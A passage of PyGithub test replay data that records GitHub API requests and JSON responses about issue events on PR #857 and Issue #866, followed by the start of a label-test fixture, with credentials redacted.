[x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1791767766 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1e032ab79e34a2cfcae8dd2ff5765cb381b06951c0be98b053bfb79d2d2779ad"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '32'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B90C:12E178:1D9DB72C:1E624F5F:677847CA')] {"id":1791767766,"node_id":"MDI2Ok1vdmVkQ29sdW1uc0luUHJvamVjdEV2ZW50MTc5MTc2Nzc2Ng==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791767766","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"moved_columns_in_project","commit_id":null,"commit_url":null,"created_at":"2018-08-16T08:13:55Z","project_card":{"id":12179888,"url":"https://api.github.com/projects/columns/cards/12179888","project_id":1714960,"project_url":"https://api.github.com/projects/1714960","column_name":"In progress","previous_column_name":"To do"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1791768212 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8aed9355cfdb41a2cada98078087755a82bcb13607af34766d7ce78962a9227e"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '33'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B90E:4D2C4:23362F80:241A77A7:677847CB')] {"id":1791768212,"node_id":"MDIzOlJlbW92ZWRGcm9tUHJvamVjdEV2ZW50MTc5MTc2ODIxMg==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791768212","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"removed_from_project","commit_id":null,"commit_url":null,"created_at":"2018-08-16T08:14:08Z","project_card":{"id":12179888,"url":"https://api.github.com/projects/columns/cards/12179888","project_id":1714960,"project_url":"https://api.github.com/projects/1714960","column_name":"In progress"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1791769149 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"27415c3f3c9398515e21b74dd03423270d71029feb65a70d09087c732eaf115f"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4966'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '34'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B91A:16833C:1C6784BD:1D28A3A2:677847CB')] {"id":1791769149,"node_id":"MDI1OkNvbnZlcnRlZE5vdGVUb0lzc3VlRXZlbnQxNzkxNzY5MTQ5","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791769149","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"converted_note_to_issue","commit_id":null,"commit_url":null,"created_at":"2018-08-16T08:14:34Z","project_card":{"id":12179901,"url":"https://api.github.com/projects/columns/cards/12179901","project_id":1714960,"project_url":"https://api.github.com/projects/1714960","column_name":"To do"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/events","html_url":"https://github.com/PyGithub/PyGithub/issues/866","id":351101033,"node_id":"MDU6SXNzdWUzNTExMDEwMzM=","number":866,"title":"test issue to be created","user":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-08-16T08:14:33Z","updated_at":"2018-08-16T08:14:55Z","closed_at":"2018-08-16T08:14:55Z","author_association":"MEMBER","active_lock_reason":null,"body":"","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/timeline","performed_via_github_app":null,"state_reason":"completed"},"performed_via_github_app":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Label.setUp.txt0000644000175100001660000002471214756101563021043 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:54:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"581c439a3aed8bca0c870e7f3ba3b1615b67e161e36dbf91afdf4c180a753f09"'), ('Last-Modified', 'Fri, 03 Jan 2025 18:50:01 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '35'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'D144:4DB83:215E3141:2242EEFB:67784E9A')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T18:50:01Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7117,"watchers_count":7117,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1792,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1792,"open_issues":356,"watchers":7117,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1792,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:54:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5953a55703ef0aaad9567958cd89107d3015ffdae76c85bdded1f252a77eeca7"'), ('Last-Modified', 'Wed, 18 Mar 2015 19:11:19 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '36'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, 